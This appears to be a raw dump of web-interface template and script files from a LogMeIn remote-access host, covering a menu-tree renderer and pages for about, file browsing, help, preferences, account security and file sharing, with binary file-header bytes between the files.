str += "<div id=\"" + this.id + "\" ondblclick=\"RATreeHandler.toggle(this,false);\" class=\"" + itemClass + "\" onkeydown=\"return RATreeHandler.keydown(this, event)\"" + onMouseOver + onMouseOut + ">";
}
else {
var onClick = ""
if (this._level == 0) {
onClick = "RATreeHandler.focus(this);";
if (this.action.substr(0,5) == 'javas') onClick += " RATreeHandler.toggle(document.getElementById('" + this.id + "'), false);"
else if (this.action.indexOf("logout=yes") > -1) onClick += " if (confirm('$MSG.LOGOUT.QUESTION$')) {parent.location='" + this.action + "';}";
//else onClick += " parent.body.location='" + this.action + "';";
}

str += "<div id=\"" + this.id + "\"" +
" class=\"" + itemClass + "\"" +
" onkeydown=\"return RATreeHandler.keydown(this, event)\"" + onMouseOver + onMouseOut;

if (this._level == 0 && this.action.substr(0,5) == 'javas')
{
str += " onClick=\"" + onClick + "\"";
}

if (this._level == 0)
{
str += " style=\"background-image: url(img/itr_menu_button_n.jpg);\"";
}
else
{
str += " style=\"background-color: #004569;\"";
}
str += ">";
}

// 'open submenu' arrow
if (RATreeHandler.type == 'slide' && this._level == 0)
{
if (this.action.substr(0,5) == 'javas')
{
str += "<img id=\"" + this.id + "-arrow\" hspace=\"0\" src=\"img\\menu_arrow_right.png\" width=\"11\" height=\"24\" style=\"float: right; position: relative; top: 1px;\">";
}
else if (LMIBrowserInfo.IsPluginsSupported() &&
(this.action.substr(0,12) == 'remctrl.html' ||
this.action.substr(0,13) == 'filexfer.html' ||
this.action.substr(0, 9) == 'chat.html'))
{
str += "<img hspace=\"0\" title=\"$MSG.MENU.OPENNEW$\" src=\"img\\ico_newwindow.png\" width=\"10\" height=\"10\" style=\"float: right; position: relative; top: 7px; right: 7px; cursor: pointer; z-index: 10;\" onclick=\"window.open('" + this.action + "')\">";
}
}

str += indent;

// 'plus' icon
if (RATreeHandler.type == 'tree') {
str += "<img id=\"" + this.id + "-plus\" src=\"" + ((this.folder)?((this.open)?((this.parentNode._last)?RATreeConfig.lMinusIcon:RATreeConfig.tMinusIcon):((this.parentNode._last)?RATreeConfig.lPlusIcon:RATreeConfig.tPlusIcon)):((this.parentNode._last)?RATreeConfig.lIcon:RATreeConfig.tIcon)) + "\" onclick=\"RATreeHandler.toggle(this);\">";
}

// item icon
if (RATreeHandler.type == 'tree') {
str += "<img id=\"" + this.id + "-icon\" class=\"RA-tree-icon\" src=\"" + ((this.open)?this.openIcon:this.icon) + "\" onclick=\"RATreeHandler.toggle(this.parentNode);\">";			
}
else if (this._level == 0) {
if (this.icon.indexOf("full-width") > -1)
{
str += "<img id=\"" + this.id + "-icon\" border=\"0\" class=\"RA-slide-icon\" src=\"" + this.icon <?if HTTP.USERAGENT has "MSIE 6.0"?> + "?bg=212740"<?endif?> + "\" style=\"width: 189px;\" onclick=\"RATreeHandler.toggle(this.parentNode);\">";
}	
else
{
str += "<img id=\"" + this.id + "-icon\" border=\"0\" class=\"RA-slide-icon\" src=\"" + this.icon <?if HTTP.USERAGENT has "MSIE 6.0"?> + "?bg=212740"<?endif?> + "\" onclick=\"RATreeHandler.toggle(this.parentNode);\">";
}
}

// item label
if (RATreeHandler.type == 'tree') {
str += "<a href=\"" + this.action + "\"" + ((this.action.substr(0,4)=="http")?" target=_blank":"") + "style=\"z-index: 2;\" id=\"" + this.id + "-anchor\" onfocus=\"RATreeHandler.focus(this);\" " + ((this.action.substr(0,5)=="javas")?"onclick=\"RATreeHandler.toggle(this.parentNode, false);\"":"") + " onblur=\"RATreeHandler.blur(this);\">" + label + "</a>";
}
else {
if (this._level == 0)
{
str += "<div style=\"position: relative; top: -22px; left: 27px; padding-top: 5px; width: 100%; height: 100%;\">";
}

var tooltipstr = "title=\"" + label + "\"";
if (this._level == 0 && this.action.substr(0,5)=="javas")
{
str += "<a target=_blank"
+ " style=\"z-index: 2; cursor: pointer;\" id=\"" + this.id + "-anchor\" onfocus=\"RATreeHandler.focus(this);\" "
+ " onblur=\"RATreeHandler.blur(this);\" " + tooltipstr + ">" + label + "</a>";
}
else
{
str += "<a";
if(this.target) {
str += " target=" + this.target;
}
str += " style=\"z-index: 2; cursor: pointer;\" id=\"" + this.id + "-anchor\" onfocus=\"RATreeHandler.focus(this);\" "
if (LMIBrowserInfo.IsPluginsSupported() || this.target) {
str += " href=\"" + this.action + "\" ";
} else {
str += " href=\"javascript: void(0)\" onclick=\"OnXTreeMenuClick('" + this.action + "')\" ";
}
str += tooltipstr + ">" + label + "</a>";
}

if (this._level == 0)
{
str += "</div>";
}
}

str += "</div>";

if (this.folder) {
str += "<div id=\"" + this.id + "-cont\" class=\"RA-tree-container\" style=\"display: " + ((this.open)?'block':'none') + ";\">";

for (var i = 0; i < this.childNodes.length; i++) {
str += this.childNodes[i].toString(i,this.childNodes.length);
}

str += "</div>";
}

if (RATreeHandler.type == 'tree') {
this.plusIcon = ((this.parentNode._last)?RATreeConfig.lPlusIcon:RATreeConfig.tPlusIcon);
this.minusIcon = ((this.parentNode._last)?RATreeConfig.lMinusIcon:RATreeConfig.tMinusIcon);
}

return str;
}

/*
* RACookie class
*/
function RACookie() {
}

RACookie.prototype.setCookie = function (key, value) {
}

RACookie.prototype.getCookie = function (key) {
return null; 
}`3+$lmi-favicon.ico~7 h(  f|}}݆݁݃݃އއމff}rprsuuxx{{}ρߍf}ԍ0⹀suuxx{{}ˀ̃ч㹀uxx{{}ˀ̃̈́͆·݃uΉ x{{}ˀ̃̈́͆·ωϊ݆x{{}ˀ̃̈́͆·ωϊЍюއ{ԕ0߿ۨP̃̈́͆·ωϊЍюёґߋد͆·ωϊЍюёґӔԔߍ֛̃0ÀԖ ωϊЍюёґӔԔԗ՗͆·ωϊמ&ї֠ܨ6ӔԔԗ՗ՙ֛ωϊЍюˆ{ԗ՗ٟPЍюёґn]ՙPёґӔԔמxc٢֛`֖Ԕԗ՗ՙ֛֛םןڥ0fؙՙ֛֛םן؟ؠ١۩@ޫfff

lmiabout.html{ͅ<?ratmpl?>
<?nocache?>
<?include "macros.html"?>
<html>
<head><?include "setupdomain.html"?>
<?include "title.inc"?>
<?include "style.inc"?>
</head>

<body>

<?action "rainfo"?><?usemacro WINERRDLG()?>
<div class="window">
<div class="titleBar" style="padding-bottom: 0px;" /><?usemacro TITLEICON("ra")?><span class="titleText">&MSG.INFO.ABOUT.TITLE&</span></div>
<br><br>
&RAGUI.ABOUT.LINE1&<br><br>
&RAGUI.ABOUT.LINE2&<br><br>
<?include "news.html"?>
<br>

<b><?&MSG.INFO.LICENSE.TO?>:</b><br>
<?enum LICENSEES?>
<b><?&LICENSEE.NAME?></b><br>
<?next?>
<br>
<?&MSG.INFO.LICENSE:LICENSE.TYPE?>
<br>
<?&MSG.INFO.LICENSE.ID?>: <?=LICENSE.ID?><br>
<br><br>

<dl>
<dt><a href="dotcom.vcgi" target="_blank"><?&PRODUCTWEBSITE?></a></dt>
<dd><?&MSG.INFO.ABOUT.DOTCOMDESC?></dd>

<dt><a href="help.html?type=license"><?&MSG.INFO.ABOUT.LICENSE?></a></dt>
<dd><?&MSG.INFO.ABOUT.LICENSEDESC?></dd>
</dl>
<br>

<?if UPDATES > 0?>
<table class="inner" width="95%">
<tr><th colspan="5">&MSG.INFO.UPDATE.HISTORY.TITLE&</th></tr>
<tr class="ttd">
<td>&MSG.INFO.UPDATE.HISTORY.VERSION&</td>
<td>&MSG.INFO.UPDATE.HISTORY.SIZE&</td>
<td>&MSG.INFO.UPDATE.HISTORY.LOAD.TIME&</td>
<td>&MSG.INFO.UPDATE.HISTORY.INST.TIME&</td>
<td>&MSG.INFO.UPDATE.HISTORY.INST.USER&</td>
</tr>
<?enum UPDATES?>
<tr>
<td title="&MSG.INFO.UPDATE.HISTORY.REPLACED&: &UPDATE.REPLACED&"><?&UPDATE.VERSION?></td>
<?if UPDATE.DOWNLOADED.BYTES?><td title="<?&UPDATE.DOWNLOADED.FILES?> files"><?&UPDATE.DOWNLOADED.BYTES_szk?></td><?else?><td>&MSG.CONFIG.NA&</td><?endif?>
<?if UPDATE.DOWNLOADED.AT?><td title="<?&UPDATE.DOWNLOADED.AT_ago?>"><?&UPDATE.DOWNLOADED.AT_dtms?></td><?else?><td>&MSG.CONFIG.NA&</td><?endif?>
<?if UPDATE.INSTALLED.AT?><td title="<?&UPDATE.INSTALLED.AT_ago?>"><?&UPDATE.INSTALLED.AT_dtms?></td><?else?><td>&MSG.CONFIG.NA&</td><?endif?>
<td><?&UPDATE.INSTALLED.BY?></td>
</tr>
<?next?>
</table>
<br><br>
<?endif?>

<?&MSG.INFO.LICENSE.STATEMENT?><br>
<?&VERSION?>&nbsp;<?&VERSION.RA?><?if not BRAND.LOGMEIN?>, <?&MSG.INFO.ABOUT.OpenSSL?> <?&VERSION.SSL?>, <?&MSG.INFO.ABOUT.OpenSSH?> <?&VERSION.SSH?><?endif?>
</div>

</body>
</html>
]ɱelmibrowse.html,!l<?ratmpl?>
<?nocache?>
<?include "macros.html"?>
<?defmacro SETFILEICON()?>
<?if FILE.TYPE="folder"?><img src="img/menu_folder.png?bg=%COLOR.DlgBack%" width="16" height="16" align="absmiddle">
<?else?><img src="fileicon.png?bg=%COLOR.DlgBack%&type=.%FILE.EXT%&size=16" width="16" height="16" align="absmiddle">
<?endif?>
<?endmacro?>
<html>
<head><?include "setupdomain.html"?>
<?include "title.inc"?>
<?include "style.inc"?>
<style>
TD, P, SELECT, INPUT {font: normal 11px tahoma;}

.H {background-color: #3366CC; text-decoration: none; color: #ffffff;}

.T {background-color: #ffffff; text-decoration: none; cursor: default;}

.navitem A {text-decoration: none; color: #000000}
.navitem A:hover {text-decoration: underline}

.bodycolor {background-color: #EFEBDE;}

</style>

<script language="javascript">

function changetable(id){ 
if(document.getElementsByTagName){ 
var table = document.getElementById(id);   
var cells = table.getElementsByTagName("td"); 
for(i = 0; i < cells.length; i++) {
cells[i].className = 'T';
}
}
}

function colorthiscell(cell){
changetable('theTable');
if (cell.className == 'H'){
cell.className = 'T';
}else{
cell.className = 'H';
}
}

function chdir(path) {
parent.list.location = '$TEMPLATE$?what=list&dir=' + escape(path) + '&fn=%REQ.FN%&$RND$';
parent.bar.location = '$TEMPLATE$?what=bar&dir=' + escape(path) + '&fn=%REQ.FN%&$RND$';
}

function makepath(dir, file) {
if (!dir || dir.length == 0) return '';
if (dir.lastIndexOf('\\') != dir.length - 1) dir += '\\';
return dir + file;
}

function setfilename(dir, name) {
if (name == '?') {
alert('$MSG.WEBSVC.SHARE.BROWSE.NOACCESS$');
} else {
if (window.parent.ctrl) {
if (window.parent.ctrl.document) {
var form = window.parent.ctrl.document.forms.form;
if (form) {
form.path.value = dir;
if (name.length > 0) form.file.value = name;
}
}
}
}
}			

// capture double clicks on filename
function applyf(filepath, filename) {
if (filepath == '?') {
alert('$MSG.WEBSVC.SHARE.BROWSE.NOACCESS$');
} else {
if (parent.opener) {
<?if REQ.FN has "."?>
parent.opener.=REQ.FN= = makepath(filepath, filename);
<?else?>
parent.opener.=REQ.FN=(filepath, filename);
<?endif?>
} else {
alert("Error: opener window unavailable.");
}
parent.close();
}
}

</script>

</head>

<?switch REQ.WHAT?>
<?case "list"?>
<?if REQ.DIR?>
<?action "filelist" REQ.SCAN="perm,class" REQ.LIST="fdp"?>
<?else?>
<?action "drivelist" REQ.SCAN="fixed"?>
<?endif?>
<body style="border: 1px solid #ccccff; -moz-box-sizing: border-box; box-sizing: border-box; background-color: &COLOR.DlgBack&;" onLoad="setfilename('$DIR.PATH$', '');">

<?if REQ.DIR?>
<table border="0" cellpadding="1" cellspacing="0" width="100%" id="theTable">
<?if FILES?>
<?enum FILES?>
<?if FILE.ATTR hasnt "s" and FILE.ATTR hasnt "h" and FILE.EXT != "lnk"?>
<tr class="T">
<?if FILE.PERM and FILE.PERM hasnt "r"?>
<td nowrap onclick="colorthiscell(this); setfilename('$DIR.PATH$', '?');">
<?usemacro SETFILEICON()?>&nbsp;<?&FILE.NAME _mx33?>
</td>
<?elseif FILE.TYPE="folder"?>
<td nowrap onclick="colorthiscell(this)" ondblclick="chdir('$FILE.PATH$');">
<?usemacro SETFILEICON()?>&nbsp;<?&FILE.NAME _mx33?>
</td>
<?else?>
<td nowrap onclick="colorthiscell(this); setfilename('$DIR.PATH$', '$FILE.NAME$');" ondblclick="applyf('$FILE.PATH$', '$FILE.NAME$')">
<?usemacro SETFILEICON()?>&nbsp;<?&FILE.NAME _mx33?>
</td>
<?endif?>
</tr>
<?endif?>
<?next?>
<?else?>
<tr><td align="center">&WINERRMSG&</td></tr>
<?endif?>
</table>

<?else // REQ.DIR?>

<?if DRIVES > 0?>
<table border="0" cellpadding="1" cellspacing="0" width="100%" id="theTable">
<?enum DRIVES?>
<?if DRIVE.TYPE == "fixed"?>
<tr class="T">
<td onclick="colorthiscell(this);" ondblclick="chdir('$DRIVE.NAME$');"><img src="fileicon.png?bg=%COLOR.DlgBack%&path=%DRIVE.NAME%&size=16" align="absmiddle">&nbsp;<?&DRIVE.NAME?><?if DRIVE.VOLUME?>&nbsp;(<?&DRIVE.VOLUME?>)<?endif?></td>
</tr>
<?endif?>
<?next?>
</table>
<?endif?>
<?endif?>

</body>

<?case "bar"?>
<body class="bodycolor">
<?if REQ.DIR?>
<?action "filelist" REQ.SCAN="perm,class" REQ.LIST="fdp"?>

<table border="0" cellpadding="4" cellspacing="0" width="100%" class="bodycolor">
<tr>
<td>
<?if PATH?>
<select style="width: 200px" onchange="chdir(this.options[this.selectedIndex].value);">
<?enum PATH?><option value="&PATH.FULL&" <?selected PATH=ENUM.INDEX?>><?nbsp ENUM.INDEX0?>&PATH.PART&<?next?>
</select>&nbsp;
<?if PATH>2 // computername + drive?>
<a href="javascript:chdir('$DIR.PATH$\\..')"><img src="img/ico_browse_parent.gif" border="0" title="&MSG.PARENT&" alt="&MSG.PARENT&" align="absmiddle"></a>
<?else?>
<a href="javascript:chdir('')"><img src="img/ico_browse_parent.gif" border="0" title="&MSG.ROOT&" alt="&MSG.ROOT&" align="absmiddle"></a>
<?endif?>
<?endif?>

<a href="javascript:chdir('$DIR.PATH$')"><img src="img/ico_browse_refresh.gif" border="0" title="&MSG.UPDATE&" alt="&MSG.UPDATE&" align="absmiddle"></a>
</td>
</tr>
</table>

<?else // REQ.DIR?>

<table border="0" cellpadding="4" cellspacing="0" width="100%" class="bodycolor">
<tr>
<td style="padding: 5 4 5 4">
<select style="width: 200px">
<option value=""><?&SRVNAME?>
</select>
</td>
</tr>
</table>
<?endif?>

</body>

<?case "navi"?>
<body class="bodycolor"<?if HTTP.USERAGENT has "OPERA"?> style="padding: 1px;"<?endif?>>

<script language="JavaScript">
function go(path) {
window.parent.list.chdir(path);
}
</script>

<table border="0" cellpadding="0" cellspacing="0" width="100%">
<tr><td align="right" style="padding: 6 0 0 0">Look in:</td></tr>
</table>

<?action "deskitemlist" REQ.BASIC="1"?>
<?if DESKITEMS > 0?>
<?enum DESKITEMS?>
<p class="navitem" align="center">
<a href="javascript:go('$DESKITEM.PATH$')"><img src="fileicon.png?bg=EFEBDE&path=%DESKITEM.ICON%&size=32" width="32" height="32" border="0" title="&DESKITEM.DESC&"><br><?&DESKITEM.NAME?></a>
</p>
<?next?>
<?endif?>
</body>

<?case "ctrl"?>
<body class="bodycolor" onLoad="document.forms['form'].file.focus(); document.forms['form'].file.select();">
<form name="form" onsubmit="apply(form.path.value, form.file.value);">
<input type="hidden" name="path" value="">
<table width="100%" height="100%">
<tr valign="middle">
<td nowrap width="100%"><input type="text" name="file" value="" style="width: 100%" onfocus="select()"></td>
<td nowrap align="right">
&nbsp;<input type="button" name="openbutton" value="&REQ.OPENBUTTON&" onclick="apply(this.form.path.value, this.form.file.value)" style="width: 80px">
&nbsp;<input type="button" value="&MSG.DIALOG.CANCEL&" onclick="parent.close()" style="width: 80px;">&nbsp;
</td>
</tr>
</table>
</form>

<script language="JavaScript">

function chkFile() {
var form = document.forms['form'];
if (form.file.value.length == 0 || form.path.value.length == 0) {
form.openbutton.disabled = true;
} else {
form.openbutton.disabled = false;
}
setTimeout("chkFile()", 500);
}

function apply(filepath, filename) {
if (parent.opener) {
<?if REQ.FN has "."?>
parent.opener.=REQ.FN= = makepath(filepath, filename);
<?else?>
parent.opener.=REQ.FN=(makepath(filepath, filename), filename);
<?endif?>
} else {
alert("Error: opener window unavailable.");
}
parent.close();
}

var fileParam = '$REQ.DIR$';
var fileSep = fileParam.lastIndexOf('\\');
if (fileSep > 0) {
document.forms['form'].file.value = fileParam.substr(fileSep + 1);
document.forms['form'].path.value = fileParam.substr(0, fileSep);
}
chkFile();

</script>
</body>

<?case default?>
<frameset cols="110, *" frameborder="no" framespacing="0">
<frame name="navi" src="&TEMPLATE&?what=navi&fn=%REQ.FN%&%RND%" border="0" marginwidth="0" marginheight="0" scrolling="auto">
<frameset rows="30, *, 30" frameborder="no" framespacing="0">
<frame name="bar"  id="bar"  src="&TEMPLATE&?what=bar&%RND%&dir=%REQ.FILE%&fn=%REQ.FN%"  frameborder="0" border="0" marginwidth="0" marginheight="0" scrolling="no">
<frame name="list" id="list" src="&TEMPLATE&?what=list&%RND%&dir=%REQ.FILE%&fn=%REQ.FN%" frameborder="0" border="0" marginwidth="0" marginheight="0" scrolling="auto">
<frame name="ctrl" id="ctrl" src="&TEMPLATE&?what=ctrl&%RND%&dir=%REQ.FILE%&fn=%REQ.FN%&openbutton=%REQ.OPENBUTTON%" frameborder="0" border="0" marginwidth="0" marginheight="0" scrolling="no" framespacing="0">
</frameset>
</frameset>

<?endswitch?>

</html>
;q!lmihelp.html<?ratmpl?>
<?nocache?>
<?include "macros.html"?>
<html>
<head><?include "setupdomain.html"?>
<?include "title.inc"?>
<?include "style.inc"?>
</head>

<body>

<?
action "rainfo"
usemacro WINERRDLG()
?>

<div class="window">
<div class="titleBar" style="padding-bottom: 0px;" /><?usemacro TITLEICON("info")?><span class="titleText">&MSG.DIALOG.HELP&</span></div>
<br>
<?include "news.html"?>
<br>
<dl style="padding-left: 40px;">
<dt>
<?if BRAND.LOGMEIN.FREE?>
<a href="&RA.COM&/r.asp?r=manual_free&lang=&LANG&" target="_blank">
<?else?>
<a href="&RA.COM&/r.asp?r=manual_pro2&lang=&LANG&" target="_blank">
<?endif?>
<?&MSG.INFO.ABOUT.MANUAL?>
</a>
</dt>
<dd><?&MSG.INFO.ABOUT.MANUALDESC?></dd>

<dt>
<?if BRAND.LOGMEIN.FREE?>
<a href="&RA.COM&/r.asp?r=support_free&lang=&LANG&" target="_blank">
<?else?>
<a href="&RA.COM&/r.asp?r=support_pro2&lang=&LANG&" target="_blank">
<?endif?>
<?&MSG.INFO.ABOUT.SUPPORT?>
</a>
</dt>
<dd><?&MSG.INFO.ABOUT.SUPPORTDESC?></dd>

<dt>
<?if BRAND.LOGMEIN.FREE?>
<a href="&RA.COM&/r.asp?r=community_free&lang=&LANG&" target="_blank">
<?else?>
<a href="&RA.COM&/r.asp?r=community_pro2&lang=&LANG&" target="_blank">
<?endif?>
<?&MSG.INFO.ABOUT.COMMUNITY?>
</a>
</dt>
<dd><?&MSG.INFO.ABOUT.COMMUNITYDESC?></dd>

<dt><a href="&RA.COM&/r.asp?r=myaccount&lang=&LANG&" target="_blank"><?&WEBSVC.ACCOUNT.TITLE?></a></dt>
<dd><?&WEBSVC.ACCOUNT.DESC?></dd>

<dt><a href="&RA.COM&/r.asp?r=tc&lang=&LANG&" target="_blank"><?&MSG.INFO.ABOUT.LICENSE?></a></dt>
<dd><?&MSG.INFO.ABOUT.LICENSEDESC?></dd>
</dl>
<?if UITYPE="LMI"?>
<div style="padding-left: 15px; padding-top: 40px; color: &COLOR.DescText&;">
<?if WEBSVC.GATEWAY?>
<img src="/img/ico_evt_check.png?bg=%COLOR.DlgBack%" alt="&MSG.WEBSVC.INFO.ONLINE&" align="absmiddle" width=16 height=16>&nbsp;&MSG.WEBSVC.INFO.ONLINE.DESC&
<?else?>
<img src="/img/ico_evt_stop.png?bg=%COLOR.DlgBack%" alt="&MSG.WEBSVC.INFO.OFFLINE&" align="absmiddle" width=16 height=16>&nbsp;&MSG.WEBSVC.INFO.OFFLINE.DESC&
<?if WEBSVC.ERROR?><br><b>&MSG.DIALOG.ERROR&:</b>&nbsp;&MSG.ERROR.WEBSVC:WEBSVC.ERROR&<?endif?>
<?endif?>
</div>
<?endif?>
</div>
</body>
</html>
&qlmipref.html <?ratmpl?>
<?nocache?>
<?include "macros.html"?>
<html>
<head><?include "setupdomain.html"?>
<?include "title.inc"?>
<?include "style.inc"?>
</head>

<body>
<div class="window">
<div class="titleBar" style="padding-bottom: 0px;" /><?usemacro TITLEICON("pref")?><span class="titleText">&MSG.MENU.PREFER&</span></div>

<br>
<br>
<h3 style="padding-left: 16px;">&MSG.SECREM.PREF.SELECT&</h3>
<dl style="padding-left: 16px;">

<?if DISPLAYPREFS?>
<dt><a href="prefgeneral.html?back=%TEMPLATE%">&MSG.CONFIG.TOOLKIT.GENERAL.TITLE&</a></dt>
<dd>&MSG.CONFIG.TOOLKIT.GENERAL.TITLEDESC&</dd>
<?endif?>

<?if DISPLAYSEC?>
<dt><a href="prefsecurity.html?back=%TEMPLATE%">&MSG.CONFIG.TOOLKIT.SECURITY.TITLE&</a></dt> 
<dd>&MSG.CONFIG.TOOLKIT.SECURITY.TITLEDESC&</dd>
<?endif?>

<?if DISPLAYPREFS?>
<dt><a href="prefadvanced.html?back=%TEMPLATE%">&MSG.CONFIG.TOOLKIT.ADVANCED.TITLE&</a></dt>
<dd>&MSG.CONFIG.TOOLKIT.ADVANCED.TITLEDESC&</dd>
<?endif?>

</dl>

</div>
</body>
</html>
K lmisecurity.htmlކ<?ratmpl?>
<?
nocache
include "macros.html"
?>
<html>
<head><?include "setupdomain.html"?>
<?include "title.inc"?>
<?include "style.inc"?>
<?include "passsave.inc"?>
</head>

<body>

<?
if REQ.DISABLE
action "websecurityset"
usemacro WINERRDLG()
endif
if REQ.STEP
action "websecurityget"
if WINERRNUM
usemacro WINERRDLG()
else
set REQ.STEP = "show"
endif
else
set REQ.STEP = "login"
endif
?>

<div class="window">		
<div class="titleBar" style="padding-bottom: 0px;" /><?usemacro TITLEICON("secure")?><span class="titleText">&MSG.WEBSVC.SECURITY.TITLE&</span></div>
<?if UI != "secrem"?>
<div class="buttonBar">
<div class="buttonGroup">
<a href="title.html?favname=%MSG.WEBSVC.SECURITY.TITLE%&favicon=menu_secure.png&favargs=%TEMPLATE%" target="title"><img src="img/ico_favourite.gif" border="0" title="&MSG.QLINKS.ADD&"></a>
<a href="&TEMPLATE&?step=%REQ.STEP%&%RND%"><img src="img/ico_refresh.gif" border="0" title="&DIALOG.UPDATE&"></a>
</div>
</div>
<?endif?>

<div class="clientArea" style="margin: 12px">
<center>

<?switch REQ.STEP?>
<?// ================================================================================ ?>
<?case "login"?>


<fieldset>
<form action="&TEMPLATE&" method="post">
<input type="hidden" name="step" value="&REQ.STEP&">
<table>
<col width="40%" align="right">
<col width="60%" align="left">
<tr>
<td colspan="2" align="center">&MSG.WEBSVC.SECURITY.LOGIN&</td>
</tr>
<tr><td colspan="2">&nbsp;</td></tr>
<tr>
<td nowrap>&MSG.WEBSVC.LOGIN.EMAIL&:</td>
<td><input type="text" name="email" value="&REQ.EMAIL&" size="30"></td>
</tr>
<script language="JavaScript">document.forms[0].email.focus();</script>
<tr>
<td nowrap>&MSG.DIALOG.PWDENTRY&:</td>
<td><input type="password" name="pwd" value="" size="30"></td>
</tr>
<tr><td colspan="2">&nbsp;</td></tr>
<tr>
<td colspan="2" align="center">
<input class="button" type="submit" name="submit" value="&MSG.DIALOG.NEXT&">
</td>
</tr>
</table>
</form>
</fieldset><br><br>

<?// ================================================================================ ?>
<?case "show"?>

<?if EXTRASECURITY?>

<?if EXTRASECURITY has "email"?>
<fieldset>
<legend>&MSG.WEBSVC.SECURITY.EMAIL.TITLE&</legend><br>
&MSG.WEBSVC.SECURITY.EMAIL.DESC&<br>
<br>
<input type="button" value="&MSG.WEBSVC.SECURITY.EMAIL.DISABLE&" onclick="window.location = '$TEMPLATE$?step=$REQ.STEP$&disable=email'"><br>
<br>
</fieldset><br><br>
<?endif?>

<?if EXTRASECURITY has "print"?>
<fieldset>
<legend>&MSG.WEBSVC.SECURITY.PRINT.TITLE&</legend><br>
&MSG.WEBSVC.SECURITY.PRINT.DESC&<br>
<br>
<input type="button" value="&MSG.WEBSVC.SECURITY.PRINT.DISABLE&" onclick="window.location = '$TEMPLATE$?step=$REQ.STEP$&disable=print'"><br>
<br>
</fieldset><br><br>
<?endif?>

<?if EXTRASECURITY has "sms"?>
<fieldset>
<legend>&MSG.WEBSVC.SECURITY.SMS.TITLE&</legend><br>
&MSG.WEBSVC.SECURITY.SMS.DESC&<br>
<br>
<input type="button" value="&MSG.WEBSVC.SECURITY.SMS.DISABLE&" onclick="window.location = '$TEMPLATE$?step=$REQ.STEP$&disable=sms'"><br>
<br>
</fieldset><br><br>
<?endif?>

<fieldset>
&MSG.WEBSVC.SECURITY.MORE&<br>
<br>
<input type="button" value="&MSG.WEBSVC.SECURITY.SETUP&" onclick="window.open('$RA.COM$/r.asp?r=myaccount_security')"><br>
<br>
</fieldset><br><br>

<?else?>
<fieldset>
&MSG.WEBSVC.SECURITY.NOTHING&<br>
<br>
<input type="button" value="&MSG.WEBSVC.SECURITY.SETUP&" onclick="window.open('$RA.COM$/r.asp?r=myaccount_security')"><br>
<br>
</fieldset><br><br>
<?endif?>

<?// ================================================================================ ?>
<?endswitch?>

</center>
</div>
</div>
</body>
</html>
A"lmishare.html-<?ratmpl?>
<?nocache?>
<?include "macros.html"?>
<html>
<head><?include "setupdomain.html"?>
<?include "title.inc"?>
<?include "style.inc"?>
<?include "dirtree.inc"?>
<script language="JavaScript">
// capture enter key (cannot define default button, have to use this solution)
// "bind" a form to a specific button.
function enter(e, btn) {
if ((e.which && e.which == 13) || (e.keyCode && e.keyCode == 13)) {
e.returnValue = false;
e.cancel = true;
btn.click();
return false; 
}
else {
return true;
}
}
</script>
<style type="text/css">
.unselectedrow { background-color: white; } 
.selectedrow { background-color: #F1F1FF; } 
h2 { color: black; font: bold 18px tahoma; padding: 0px 0px 3px 0px; margin: 0px; } 
.h3text {font-family: arial; font-size: 13px; font-weight: bold; margin: 0px; margin-bottom: 5px}
.datatable {border: 1px solid #CCCCCC; width: 100%; background-color: #FDFDFD} 
.datatable TD {height: 30px; padding-left: 10px} 
.datatable .header TD {font-size: 13px; font-weight: bold}         		
</style>
</head>

<body>
<div class="window" style="width:auto">

<div class="titleBar" style="padding-bottom: 0px;" /><?usemacro TITLEICON("fileshare")?><span class="titleText">&MSG.WEBSVC.SHARE.TITLE&</span></div>

<div class="clientArea" style="padding: 15px; overflow: visible;">
<!-- show education page -->
<table width="95%"><tr><td valign="top">
<div class=h3text>
&MSG.WEBSVC.SHARE.DESC.1&
</div>
<br>				
<div class=h3text>&MSG.WEBSVC.SHARE.DESC.2&</div>
&MSG.WEBSVC.SHARE.DESC.3&<br>
<br>
&MSG.WEBSVC.SHARE.DESC.4&<br>
<br>
<?if not ISMAC?>
&MSG.WEBSVC.SHARE.DESC.5&<br>
<br>
<table cellpadding=0 cellspacing=0>
<tr>
<td valign=bottom>
&MSG.WEBSVC.SHARE.DESC.6&<br>
<?if LANG="ja"?>
<img src="img/sharing1scr_ja.png" width="389" height="279" border=0 style="margin-right: 20px">
<?elseif LANG="de"?>
<img src="img/sharing1scr_de.png" width="389" height="279" border=0 style="margin-right: 20px">
<?else?>
<img src="img/sharing1scr_en.png" width="389" height="279" border=0 style="margin-right: 20px">
<?endif?>
</td>
<td valign=bottom style="padding-left: 30px;">
&MSG.WEBSVC.SHARE.DESC.7&<br>
<?if LANG="ja"?>
<img src="img/sharing2scr_ja.png" width="389" height="279" border=0>
<?elseif LANG="de"?>
<img src="img/sharing2scr_de.png" width="389" height="279" border=0>
<?else?>
<img src="img/sharing2scr_en.png" width="389" height="279" border=0>
<?endif?>
</td>
</tr>
</table>
<?else?>
&MSG.WEBSVC.SHARE.DESC.7&<br>
<br>
<img src="img/sharing2scr_mac.png" width="214" height="175" border=0>
<?endif?>
</td>
<td valign="top" style="width: 160px; padding-left: 12px;">
<table class="datatable" cellpadding="0" cellspacing="0"> 
<tr class="header"><td colspan="2">&MSG.WEBSVC.SHARE.INTRO.1&<br></td></tr>
<tr><td><img src="/img/lmi_intro_share_files.gif" width="32" height="36"></td><td style="white-space: nowrap">&MSG.WEBSVC.SHARE.INTRO.2&</td></tr>
<tr><td><img src="/img/lmi_intro_share_pres.gif" width="30" height="30"></td><td style="white-space: nowrap">&MSG.WEBSVC.SHARE.INTRO.3&</td></tr>
<tr><td><img src="/img/lmi_intro_share_music.gif" width="32" height="36"></td><td style="white-space: nowrap">&MSG.WEBSVC.SHARE.INTRO.4&</td></tr>
<tr><td><img src="/img/lmi_intro_share_vid.gif" width="32" height="36"></td><td style="white-space: nowrap">&MSG.WEBSVC.SHARE.INTRO.5&</td></tr>
<tr><td><img src="/img/lmi_intro_share_pic.gif" width="32" height="36"></td><td style="white-space: nowrap">&MSG.WEBSVC.SHARE.INTRO.6&</td></tr>
<tr><td colspan="2" align="right">&MSG.WEBSVC.SHARE.INTRO.7&<br></td></tr>
</table>
</td></tr>
</table>

<br>
</div class="clientArea">
</div class="window">
</body>
</html>
[H_lmistart.htmlC0@{<?ratmpl?>
<?nocache?>
<?include "style.inc"?>
<?include "macros.html"?>

<?defmacro CMDPROMPTLINK()?>
<?if XTERM.SUPPORT ?>
<?if HTTP.USERAGENT.RACONSOLE ?>
<a href="telnet.html?%RND%" onmouseup="MR(&N&)">
<?else?>
<?if HTTP.USERAGENT.IE ?>
<a href="hterm.html?%RND%" target="_blank" onmouseup="MR(&N&)">
<?else?>
